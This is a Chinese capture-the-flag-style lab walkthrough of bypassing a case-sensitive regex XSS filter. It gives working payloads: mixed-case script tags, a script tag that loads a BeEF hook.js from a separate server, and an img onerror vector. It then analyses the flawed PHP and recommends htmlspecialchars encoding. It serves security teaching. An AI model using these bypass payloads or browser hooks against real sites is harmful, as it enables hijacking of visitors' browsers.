前言:
在之前的关卡中,我们面对的大多是“无防御”状态。但在真实环境中,开发者通常会做一些基础的防护。本关“XSS 之过滤”就是一个很好的例子,它展示了当防御规则写得不够严谨时,攻击者是如何轻松绕过的。
1. 探测与测试
进入关卡,看到一个输入框,提示:“别说这些…的话”。
我们先尝试最标准的 Payload:
<script>alert(1)</script>
提交后发现,页面虽然回显了内容,但是提交的<script> 标签不见了,并且脚本并没有执行。显然,后端对输入内容进行了某种过滤。

2. 绕过思路:大小写混淆
既然存在过滤,我们需要猜测过滤的逻辑。常见的过滤手段有:
- 关键词黑名单:把
script替换为空。 - 正则匹配:匹配
<script>结构。
如果是基于黑名单或不严谨的正则,最常见的绕过方式就是 改变大小写。HTML 标签本身是不区分大小写的,<SCRIPT> 和 <script> 在浏览器眼里是一样的,但在代码过滤器眼里可能是两个完全不同的字符串。
构造 Payload (联动 BeEF):
<ScRIpt src="http://localhost:3000/hook.js"></sCRIPt>
或者简单的弹窗测试:
<SCRIPT>alert('xss')</SCRIPT>
3. 攻击实施
将上述混合大小写的 Payload 填入输入框并提交。
页面刷新后,查看网页源码,发现我们的标签完好无损地保留了下来!

此时查看 BeEF 控制台,目标主机已成功上线。

4. 源码深度解析
为什么这么简单的手段就能绕过?看看后端的 PHP 源码:
$html = '';
if(isset($_GET['submit']) && $_GET['message'] != null){
// 关键漏洞点:正则替换逻辑
$message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
if($message == 'yes'){$html.="<p> 那就去人民广场一个人坐一会儿吧!</p>";}else{
// 直接回显处理后的 message
$html.="<p> 别说这些'{$message}'的话, 不要怕, 就是干!</p>";
}
}
正则分析:/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/
这个正则表达式看起来写得很复杂,试图匹配 < 开头,中间夹杂任意字符,最后拼成 script 的字符串。但它犯了一个致命错误:
- 缺省大小写敏感 :PHP 的
preg_replace默认是 区分大小写 的。如果不加i修饰符(例如/.../i),它只匹配小写的s、c、r、i、p、t。 - 绕过原理:当我们输入
<ScRIpt>时,正则中的s无法匹配大写的S(或者R无法匹配r),导致正则匹配失败。匹配失败意味着“没有发现恶意代码”,于是$message原样保留了我们的 Payload。
其他绕过方式 :
由于该正则只死死盯住了 script 这个单词,我们完全可以使用其他标签绕过,例如:
<img src=x onerror=alert(1)>
这也印证了“黑名单”机制往往是不可靠的。
5. 总结与修复
漏洞总结:
本关演示了 大小写敏感 导致的正则过滤失效。这是很多初级 WAF (Web 应用防火墙) 或自研过滤脚本常犯的错误。
修复建议:
- 不推荐:仅仅加上
/i修饰符(如preg_replace('/<script/i', '', ...))。因为黑客还可以用<img onerror>、<svg onload>等几百种方式绕过。 - 推荐 :使用白名单机制或实体编码。
php // 将特殊字符转换为 HTML 实体,彻底阻断 HTML 标签的解析 $message = htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
只有将<转化为<,>转化为>,才是根治 XSS 的通用良方。